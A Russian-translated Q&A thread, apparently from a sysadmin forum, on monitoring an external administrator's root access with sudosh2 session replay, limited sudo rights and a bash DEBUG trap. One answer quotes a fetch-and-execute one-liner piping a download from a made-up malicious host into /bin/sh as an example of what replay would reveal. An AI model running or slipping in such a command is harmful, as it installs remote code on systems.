Я хочу предоставить доступ к своему корневому серверу внешнему системному администратору, но я хочу убедиться, что дважды проверил, что он делает с моим сервером, например, копирует данные, которые я не хочу, чтобы они делали, и так далее. Я также хотел бы отследить любой доступ к файлу, даже в режиме только для чтения и без редактирования.
Как я могу это сделать?
Ответы:
Доверяй, но проверяй!
Проверьте sudosh2 . sudosh2 предоставляется портами FreeBSD. Пакеты доступны для RedHat и Ubuntu. Вот описание с их сайта:
Sudosh позволит вам воспроизвести сеанс пользователя, что позволит вам видеть весь ввод и вывод так, как его видел пользователь. Вы видите все, нажатия клавиш, опечатки, возвраты, что они редактировали
vi
, выводwget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh
и т. Д.Можно отправлять журналы sudosh в syslog, чтобы они могли храниться на центральном сервере syslog вне системы.
Обратите внимание, что sudosh2 является заменой sudosh, который был оставлен его автором.
Работаете ли вы в академическом учреждении, где пользователи настаивают на привилегиях суперпользователя? Или вы работаете в корпорации и хотите, чтобы пользователи имели привилегии суперпользователя на своих виртуальных машинах? Это может быть решением для вас.
источник
Не давайте ему root-доступ. Вместо этого, дайте ему учетную запись непривилегированного пользователя и попросите, чтобы он выполнил всю свою работу
sudo
, которая будет регистрировать все его команды.Имейте в виде , что , если этот человек имеет пагубные намерения и вы даете ему полные права SUDO, он будет найти способ , чтобы осуществить эти недобрые намерения , не те команды , которые вошли. В этом случае, только предоставьте ему доступ к определенным командам, которые ему необходимы для выполнения его работы.
источник
sudo su -
и получить корневую оболочку, которая не будет зарегистрирована (за исключением того, что вы ее запустили). Это то, что я обычно печатаю, когда хочу выполнить более одной команды от имени root за один раз, или если я хочу завершить вкладку в каталогах, которые обычные пользователи не могут прочитать.sudo su -
при желании.Я не знаком с sudosh2, но я поместил в свой файл следующее,
.bashrc
чтобы записатьbash
в файл все команды, которые я набираю в оболочке~/.command_log
:Вышеуказанное устанавливает ловушку
DEBUG
, которая выполняется непосредственно перед выполнением обычной команды.caller
Встроенный используются для тестирования ли команда в настоящее время , набранные в интерактивной оболочке или запустить через что - то подобное.bashrc
. Значение${BASH_COMMAND}
содержит команду, которая выполняется в данный момент.источник